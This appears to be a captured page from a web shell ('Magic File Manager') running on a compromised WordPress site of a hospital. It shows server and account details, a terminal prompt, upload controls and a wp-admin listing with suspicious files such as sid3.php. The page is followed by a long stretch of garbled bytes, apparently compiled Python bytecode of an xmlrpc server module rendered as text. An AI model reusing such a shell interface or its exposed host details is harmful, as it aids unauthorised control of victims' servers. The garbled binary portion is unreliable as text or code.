✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
3 ct„jK‘ã@sþddlmZmZmZmZmZddlmZddlZddlZ ddl Z ddl Z ddl Z ddl Z ddlZddlZddlZy ddlZWnek r”dZYnXd)dd„Zdd„ZGd d „d ƒZGd d „d eƒZGd d„de jeƒZGdd„deƒZGdd„deƒZGdd„dejƒZGdd„dƒZGdd„deƒZGdd„deeƒZGdd„deeƒZ e!dk�rúddl"Z"Gdd„dƒZ#ed*ƒ�~Z$e$j%e&ƒe$j%d"d#„d$ƒe$j'e#ƒdd%�e$j(ƒe)d&ƒe)d'ƒy e$j*ƒWn(e+k �rîe)d(ƒe j,dƒYnXWdQRXdS)+é)ÚFaultÚdumpsÚloadsÚ gzip_encodeÚ gzip_decode)ÚBaseHTTPRequestHandlerNTcCsJ|r|jdƒ}n|g}x.|D]&}|jdƒr8td|ƒ‚qt||ƒ}qW|S)NÚ.Ú_z(attempt to access private attribute "%s")ÚsplitÚ startswithÚAttributeErrorÚgetattr)ÚobjÚattrÚallow_dotted_namesZattrsÚi©rú%/usr/lib64/python3.6/xmlrpc/server.pyÚresolve_dotted_attribute{s     rcs‡fdd„tˆƒDƒS)Ncs*g|]"}|jdƒ rttˆ|ƒƒr|‘qS)r )r Úcallabler )Ú.0Úmember)rrrú —s z'list_public_methods..)Údir)rr)rrÚlist_public_methods“src@sleZdZddd„Zddd„Zddd„Zd d „Zd d „Zdd d„Zdd„Z dd„Z dd„Z dd„Z dd„Z dS)ÚSimpleXMLRPCDispatcherFNcCs&i|_d|_||_|pd|_||_dS)Nzutf-8)ÚfuncsÚinstanceÚ allow_noneÚencodingÚuse_builtin_types)Úselfrrr rrrÚ__init__¤s  zSimpleXMLRPCDispatcher.__init__cCs||_||_dS)N)rr)r!rrrrrÚregister_instance¬s!z(SimpleXMLRPCDispatcher.register_instancecCs|dkr|j}||j|<dS)N)Ú__name__r)r!ZfunctionÚnamerrrÚregister_functionÐsz(SimpleXMLRPCDispatcher.register_functioncCs|jj|j|j|jdœƒdS)N)zsystem.listMethodszsystem.methodSignaturezsystem.methodHelp)rÚupdateÚsystem_listMethodsÚsystem_methodSignatureÚsystem_methodHelp)r!rrrÚ register_introspection_functionsÛs z7SimpleXMLRPCDispatcher.register_introspection_functionscCs|jjd|jiƒdS)Nzsystem.multicall)rr'Úsystem_multicall)r!rrrÚregister_multicall_functionsæsz3SimpleXMLRPCDispatcher.register_multicall_functionsc CsàyPt||jd�\}}|dk r(|||ƒ}n |j||ƒ}|f}t|d|j|jd�}Wn€tk r„}zt||j|jd�}WYdd}~XnNtjƒ\}} } z$ttdd|| fƒ|j|jd�}Wdd}} } XYnX|j |jdƒS)N)r é)Zmethodresponserr)rrz%s:%s)rrÚxmlcharrefreplace) rr Ú _dispatchrrrrÚsysÚexc_infoÚencode) r!ÚdataÚdispatch_methodÚpathÚparamsÚmethodÚresponseÚfaultÚexc_typeÚ exc_valueÚexc_tbrrrÚ_marshaled_dispatchîs&   z*SimpleXMLRPCDispatcher._marshaled_dispatchcCs^t|jjƒƒ}|jdk rVt|jdƒr8|t|jjƒƒO}nt|jdƒsV|tt|jƒƒO}t|ƒS)NÚ _listMethodsr0)ÚsetrÚkeysrÚhasattrr?rÚsorted)r!Úmethodsrrrr(s   z)SimpleXMLRPCDispatcher.system_listMethodscCsdS)Nzsignatures not supportedr)r!Ú method_namerrrr))s z-SimpleXMLRPCDispatcher.system_methodSignaturec CsŒd}||jkr|j|}nX|jdk rrt|jdƒr<|jj|ƒSt|jdƒsryt|j||jƒ}Wntk rpYnX|dkr~dStj|ƒSdS)NÚ _methodHelpr0Ú) rrrBrFrrr ÚpydocÚgetdoc)r!rEr8rrrr*6s"       z(SimpleXMLRPCDispatcher.system_methodHelpc Csºg}x°|D]¨}|d}|d}y|j|j||ƒgƒWq tk rl}z|j|j|jdœƒWYdd}~Xq tjƒ\}}} z|jdd||fdœƒWdd}}} XYq Xq W|S)NZ methodNamer7)Ú faultCodeÚ faultStringr.z%s:%s)Úappendr0rrJrKr1r2) r!Z call_listÚresultsZcallrEr7r:r;r<r=rrrr,Us$  z'SimpleXMLRPCDispatcher.system_multicallcCs®y|j|}Wntk r"YnX|dk r4||ŽStd|ƒ‚|jdk ržt|jdƒrd|jj||ƒSyt|j||jƒ}Wntk rŒYnX|dk rž||ŽStd|ƒ‚dS)Nzmethod "%s" is not supportedr0) rÚKeyErrorÚ ExceptionrrBr0rrr )r!r8r7Úfuncrrrr0ys(    z SimpleXMLRPCDispatcher._dispatch)FNF)F)N)NN)r$Ú __module__Ú __qualname__r"r#r&r+r-r>r(r)r*r,r0rrrrr›s   $   ) $rc@sbeZdZdZdZdZdZejdej ej BƒZ dd„Z d d „Z d d „Zd d„Zdd„Zddd„ZdS)ÚSimpleXMLRPCRequestHandlerú/ú/RPC2ixr.Tz¢ \s* ([^\s;]+) \s* #content-coding (;\s* q \s*=\s* ([0-9\.]+))? #q cCsbi}|jjddƒ}xJ|jdƒD]<}|jj|ƒ}|r|jdƒ}|rHt|ƒnd}|||jdƒ<qW|S)NzAccept-EncodingrGú,égð?r.)ÚheadersÚgetr Ú aepatternÚmatchÚgroupÚfloat)r!ÚrZaeÚer[ÚvrrrÚaccept_encodingsÅs  z+SimpleXMLRPCRequestHandler.accept_encodingscCs|jr|j|jkSdSdS)NT)Ú rpc_pathsr6)r!rrrÚis_rpc_path_validÐs z,SimpleXMLRPCRequestHandler.is_rpc_path_validc CsÜ|jƒs|jƒdSy”d}t|jdƒ}g}x>|rjt||ƒ}|jj|ƒ}|sNP|j|ƒ|t|dƒ8}q.Wdj |ƒ}|j |ƒ}|dkrŒdS|j j |t |ddƒ|jƒ}WnŽtk �r6}zp|jdƒt|j dƒoØ|j j�r|jd t|ƒƒtjƒ} t| jd d ƒd ƒ} |jd | ƒ|jd dƒ|jƒWYdd}~Xn¢X|jdƒ|jddƒ|jdk �r°t|ƒ|jk�r°|jƒjddƒ} | �r°yt|ƒ}|jddƒWntk �r®YnX|jd tt|ƒƒƒ|jƒ|jj|ƒdS)Né izcontent-lengthr.ór0iôÚ_send_traceback_headerz X-exceptionÚASCIIÚbackslashreplacez X-tracebackzContent-lengthÚ0éÈz Content-typeztext/xmlÚgziprzContent-Encodingi(i éÿÿÿÿ) rcÚ report_404ÚintrXÚminZrfileÚreadrLÚlenÚjoinÚdecode_request_contentÚserverr>r r6rOÚ send_responserBrfÚ send_headerÚstrÚ tracebackÚ format_excr3Ú end_headersÚencode_thresholdrarYrÚNotImplementedErrorÚwfileÚwrite) r!Zmax_chunk_sizeZsize_remainingÚLZ chunk_sizeÚchunkr4r9r_ZtraceÚqrrrÚdo_POST×sX             z"SimpleXMLRPCRequestHandler.do_POSTc Csœ|jjddƒjƒ}|dkr|S|dkrtyt|ƒStk rR|jdd|ƒYq„tk rp|jddƒYq„Xn|jdd|ƒ|jdd ƒ|jƒdS) Nzcontent-encodingZidentityrkiõzencoding %r not supportedi�zerror decoding gzip contentzContent-lengthri) rXrYÚlowerrr|ruÚ ValueErrorrvrz)r!r4rrrrrss z1SimpleXMLRPCRequestHandler.decode_request_contentcCsF|jdƒd}|jddƒ|jdtt|ƒƒƒ|jƒ|jj|ƒdS)Ni”s No such pagez Content-typez text/plainzContent-length)rurvrwrqrzr}r~)r!r9rrrrm/s   z%SimpleXMLRPCRequestHandler.report_404ú-cCs|jjrtj|||ƒdS)N)rtÚ logRequestsrÚ log_request)r!ÚcodeÚsizerrrr‡8sz&SimpleXMLRPCRequestHandler.log_requestN)rTrUrl)r…r…)r$rQrRrbr{ZwbufsizeZdisable_nagle_algorithmÚreÚcompileÚVERBOSEÚ IGNORECASErZrarcr‚rsrmr‡rrrrrS¬s  G rSc@s*eZdZdZdZedddddfdd„ZdS)ÚSimpleXMLRPCServerTFNcCs,||_tj||||ƒtjj||||ƒdS)N)r†rr"Ú socketserverÚ TCPServer)r!ÚaddrÚrequestHandlerr†rrÚbind_and_activater rrrr"QszSimpleXMLRPCServer.__init__)r$rQrRZallow_reuse_addressrfrSr"rrrrrŽ>s  rŽc@s<eZdZedddddfdd„Zdd„Zdd „Zd d d „ZdS) ÚMultiPathXMLRPCServerTFNc Cs2tj||||||||ƒi|_||_|p*d|_dS)Nzutf-8)rŽr"Ú dispatchersrr)r!r‘r’r†rrr“r rrrr"bs  zMultiPathXMLRPCServer.__init__cCs||j|<|S)N)r•)r!r6Z dispatcherrrrÚadd_dispatcherls z$MultiPathXMLRPCServer.add_dispatchercCs |j|S)N)r•)r!r6rrrÚget_dispatcherpsz$MultiPathXMLRPCServer.get_dispatchercCs|y|j|j|||ƒ}Wn^tjƒdd…\}}z2ttdd||fƒ|j|jd�}|j|jdƒ}Wdd}}XYnX|S)Nér.z%s:%s)rrr/) r•r>r1r2rrrrr3)r!r4r5r6r9r;r<rrrr>ss z)MultiPathXMLRPCServer._marshaled_dispatch)NN)r$rQrRrSr"r–r—r>rrrrr”Zs r”c@s0eZdZd dd„Zdd„Zdd„Zd d d „ZdS) ÚCGIXMLRPCRequestHandlerFNcCstj||||ƒdS)N)rr")r!rrr rrrr"‰sz CGIXMLRPCRequestHandler.__init__cCsP|j|ƒ}tdƒtdt|ƒƒtƒtjjƒtjjj|ƒtjjjƒdS)NzContent-Type: text/xmlzContent-Length: %d)r>Úprintrqr1ÚstdoutÚflushÚbufferr~)r!Ú request_textr9rrrÚ handle_xmlrpcŒs  z%CGIXMLRPCRequestHandler.handle_xmlrpccCsŽd}tj|\}}tjj|||dœ}|jdƒ}td||fƒtdtjjƒtdt|ƒƒtƒt j j ƒt j j j |ƒt j j j ƒdS)Ni�)rˆÚmessageÚexplainzutf-8z Status: %d %szContent-Type: %szContent-Length: %d)rZ responsesÚhttprtZDEFAULT_ERROR_MESSAGEr3ršZDEFAULT_ERROR_CONTENT_TYPErqr1r›rœr�r~)r!rˆr r¡r9rrrÚ handle_get˜s   z"CGIXMLRPCRequestHandler.handle_getc Csz|dkr$tjjddƒdkr$|jƒnRyttjjddƒƒ}Wnttfk rVd}YnX|dkrltjj |ƒ}|j |ƒdS)NZREQUEST_METHODZGETZCONTENT_LENGTHr.rl) ÚosÚenvironrYr£rnr„Ú TypeErrorr1ÚstdinrprŸ)r!ržZlengthrrrÚhandle_request±s   z&CGIXMLRPCRequestHandler.handle_request)FNF)N)r$rQrRr"rŸr£r¨rrrrr™†s  r™c@s:eZdZdiiifdd„Zdiiidfdd„Zdd„ZdS)Ú ServerHTMLDocNcCs^|p|j}g}d}tjdƒ}�x|j||ƒ} | s2P| jƒ\} } |j|||| …ƒƒ| jƒ\} } }}}}| r�|| ƒjddƒ}|jd||fƒn¦|r¸dt|ƒ}|jd||| ƒfƒn~|ràdt|ƒ}|jd||| ƒfƒnV|| | d…d k�r|j|j ||||ƒƒn(|�r$|jd |ƒn|j|j ||ƒƒ| }q W|j|||d…ƒƒd j |ƒS) NrzM\b((http|ftp)://\S+[\w/]|RFC[- ]?(\d+)|PEP[- ]?(\d+)|(self\.)?((?:\w|\.)+))\bú"z"z%sz'http://www.rfc-editor.org/rfc/rfc%d.txtz(http://www.python.org/dev/peps/pep-%04d/r.ú(zself.%srG) ÚescaperŠr‹ÚsearchÚspanrLÚgroupsÚreplacernZnamelinkrr)r!Útextr¬rÚclassesrDrMÚhereÚpatternr[ÚstartÚendÚallÚschemeZrfcZpepZselfdotr%ZurlrrrÚmarkupÎs8      zServerHTMLDoc.markupcCs$|r |jp dd|}d} d|j|ƒ|j|ƒf} tj|ƒrrtj|ƒ} tj| jdd…| j| j| j | j |j d�} n%sr.)Ú annotationsÚ formatvaluez(...)rz'%sz
%s
z
%s
%s
)r$r¬ÚinspectZismethodZgetfullargspecZ formatargspecÚargsZvarargsZvarkwZdefaultsrºr»Z isfunctionÚ isinstanceÚtuplerHrIZgreyr¹Ú preformat)r!Úobjectr%Úmodrr²rDZclZanchorZnoteÚtitler½ZargspecZ docstringZdeclÚdocrrrÚ docroutine÷s<           zServerHTMLDoc.docroutinec CsÐi}x,|jƒD] \}}d|||<||||<qW|j|ƒ}d|}|j|ddƒ}|j||j|ƒ} | old| } |d| }g} t|jƒƒ} x&| D]\}}| j|j|||d�ƒq�W||jddd d j | ƒƒ}|S) Nz#-z)%sz#ffffffz#7799eez %sz

%s

)rZMethodsz#eeaa77rG) Úitemsr¬Zheadingr¹rÀrCrLrÅZ bigsectionrr) r!Ú server_nameZpackage_documentationrDZfdictÚkeyÚvalueÚheadÚresultrÄÚcontentsZ method_itemsrrrÚ docserver$s"     zServerHTMLDoc.docserver)r$rQrRr¹rÅrÍrrrrr©Ës),r©c@s4eZdZdd„Zdd„Zdd„Zdd„Zd d „Zd S) ÚXMLRPCDocGeneratorcCsd|_d|_d|_dS)NzXML-RPC Server DocumentationzGThis server exports the following methods through the XML-RPC protocol.)rÇÚserver_documentationÚ server_title)r!rrrr"DszXMLRPCDocGenerator.__init__cCs ||_dS)N)rÐ)r!rÐrrrÚset_server_titleLsz#XMLRPCDocGenerator.set_server_titlecCs ||_dS)N)rÇ)r!rÇrrrÚset_server_nameQsz"XMLRPCDocGenerator.set_server_namecCs ||_dS)N)rÏ)r!rÏrrrÚset_server_documentationVsz+XMLRPCDocGenerator.set_server_documentationc Csþi}xÌ|jƒD]À}||jkr(|j|}nž|jdk rÆddg}t|jdƒrV|jj|ƒ|d<t|jdƒrr|jj|ƒ|d<t|ƒ}|dkrˆ|}qÆt|jdƒsÀyt|j|ƒ}WqÄtk r¼|}YqÄXqÆ|}n|||<qWt ƒ}|j |j |j |ƒ}|j tj|jƒ|ƒS)NÚ_get_method_argstringrrFr.r0)NN)r(rrrBrÔrFr¿rr r©rÍrÇrÏZpageÚhtmlr¬rÐ)r!rDrEr8Z method_infoZ documenterZ documentationrrrÚgenerate_html_documentation[s8          z.XMLRPCDocGenerator.generate_html_documentationN)r$rQrRr"rÑrÒrÓrÖrrrrrÎ=s rÎc@seZdZdd„ZdS)ÚDocXMLRPCRequestHandlercCsf|jƒs|jƒdS|jjƒjdƒ}|jdƒ|jddƒ|jdtt|ƒƒƒ|j ƒ|j j |ƒdS)Nzutf-8rjz Content-typez text/htmlzContent-length) rcrmrtrÖr3rurvrwrqrzr}r~)r!r9rrrÚdo_GET˜s  zDocXMLRPCRequestHandler.do_GETN)r$rQrRrØrrrrr׎s r×c@s"eZdZedddddfdd„ZdS)ÚDocXMLRPCServerTFNc Cs&tj||||||||ƒtj|ƒdS)N)rŽr"rÎ)r!r‘r’r†rrr“r rrrr"²s zDocXMLRPCServer.__init__)r$rQrRr×r"rrrrrÙªsrÙc@seZdZdd„Zdd„ZdS)ÚDocCGIXMLRPCRequestHandlercCsT|jƒjdƒ}tdƒtdt|ƒƒtƒtjjƒtjjj|ƒtjjjƒdS)Nzutf-8zContent-Type: text/htmlzContent-Length: %d) rÖr3ršrqr1r›rœr�r~)r!r9rrrr£¿s z%DocCGIXMLRPCRequestHandler.handle_getcCstj|ƒtj|ƒdS)N)r™r"rÎ)r!rrrr"Ïs z#DocCGIXMLRPCRequestHandler.__init__N)r$rQrRr£r"rrrrrÚºsrÚÚ__main__c@s"eZdZdd„ZGdd„dƒZdS)ÚExampleServicecCsdS)NZ42r)r!rrrÚgetDataØszExampleService.getDatac@seZdZedd„ƒZdS)zExampleService.currentTimecCs tjjƒS)N)ÚdatetimeZnowrrrrÚgetCurrentTimeÜsz)ExampleService.currentTime.getCurrentTimeN)r$rQrRÚ staticmethodrßrrrrÚ currentTimeÛsráN)r$rQrRrÝrárrrrrÜ×srÜÚ localhosté@cCs||S)Nr)ÚxÚyrrrÚâsræÚadd)rz&Serving XML-RPC on localhost port 8000zKIt is advisable to run this example server within a secure, closed network.z& Keyboard interrupt received, exiting.)T)rârã)-Z xmlrpc.clientrrrrrZ http.serverrrÕr¢r�r1r¤rŠrHr¼rxZfcntlÚ ImportErrorrrrrSr�rŽr”r™ZHTMLDocr©rÎr×rÙrÚr$rÞrÜrtr&Úpowr#r-ršZ serve_foreverÚKeyboardInterruptÚexitrrrrÚks^    ,ErQ